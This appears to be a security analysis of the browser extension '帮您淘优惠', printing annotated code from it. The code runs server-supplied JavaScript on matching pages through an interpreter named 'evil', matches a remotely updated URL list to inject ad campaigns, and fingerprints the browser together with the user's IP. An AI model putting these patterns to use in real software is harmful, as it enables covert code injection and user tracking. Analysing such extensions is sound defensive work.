Is 帮您淘优惠 safe?

// evalCore is loaded from js/umd.js — an acorn+Babel-based JS interpreter
const { evalModule, getEvalInstance } = evalCore;
const Interpreter = evalModule.Interpreter;

// Give the interpreter access to the page's window object
Interpreter.global = window;
new Interpreter(); // bootstrap

// window.evil is now a callable that evaluates strings as JS
window.evil = getEvalInstance(window);

// For each content block returned by /fddqa:
if (contentBlock.script) {
  // Inject the HTML template into the target DOM element first
  $(targetElement)[contentBlock.append_type](renderedTemplate);
  if (contentBlock.style) {
    $(targetElement)[contentBlock.append_type](contentBlock.style);
  }
  // Execute the server-supplied JavaScript via the sandboxed interpreter
  evil(contentBlock.script);
  break;
}

// getServerUrls() — fetches injection scope from server
async function getServerUrls() {
  const cachedUrls = await getStorage('urls');    // existing config if any
  let uuid = await getStorage('uuid');
  if (!uuid) uuid = await yhc_get_uuid();          // generate if missing

  const payload = {};
  if (cachedUrls) {
    // send back server's own values to identify the user's region/IP
    payload.pver  = cachedUrls.version;
    payload.area  = cachedUrls.area;
    payload.ip    = cachedUrls.ip;
  }
  payload.uuid = uuid;
  payload.t    = getTime(); // current timestamp

  // POST to /version — no signature, no integrity check
  const response = await httpSync({ url: '/version', type: 'post', data: payload });

  // Cache the response's injection scope list directly
  await setStorage({ urls: response.data });
  return response.data;
}

// In contentScript.js — runs on every page navigation
const config = await getStorage('urls');      // server-supplied scope list
const urlList  = config.urls;                  // domain → [{ path, eid, pid }]
const domainList = config.domain_list;         // additional platform hints

if (domainList) getEcommercePlatform({ hosts: domainList });

const currentPath = window.location.href.replace(window.location.origin, '');

for (const domain of Object.keys(urlList)) {
  if (window.location.origin.includes(domain)) {
    for (const entry of urlList[domain]) {
      // Convert glob-style path to regex
      let pattern = entry.path.replace(/\*$/, '\\S+').replace(/\/$/,'').replace(/\*/g,'[^\\s/]+');
      if (new RegExp(pattern, 'gi').test(currentPath)) {
        shouldInject = true;
        eid = entry.eid;   // ad campaign ID
        pid = entry.pid;   // publisher ID
        break;
      }
    }
  }
}

// yhc_get_uuid() — runs once on first install if no UUID stored yet
const installTimestamp = Math.round(new Date()); // milliseconds

// Wait for browser idle, then fetch IP and fingerprint
requestIdleCallback(() => {
  // Step 1: fetch external IP
  httpSync({ url: '/ip', baseUrl: 'https://api.yhchj.com' })
    .then(ipResponse => {
      // Step 2: collect browser fingerprint attributes
      Fingerprint2.get(
        { excludes: { enumerateDevices: true, fontsFlash: true, deviceMemory: true } },
        (components) => {
          // Step 3: append IP to the fingerprint array
          components.push({ key: 'ip', value: ipResponse.data });
          const values = components.map(c => c.value);

          // Step 4: hash everything into a 128-bit fingerprint
          const hash = Fingerprint2.x64hash128(values.join(''), 31);
          const uuid = hash + '.' + installTimestamp;

          // Step 5: persist permanently
          setStorage({ uuid: uuid });
          resolve(uuid);
        }
      );
    });
}, { timeout: 500 });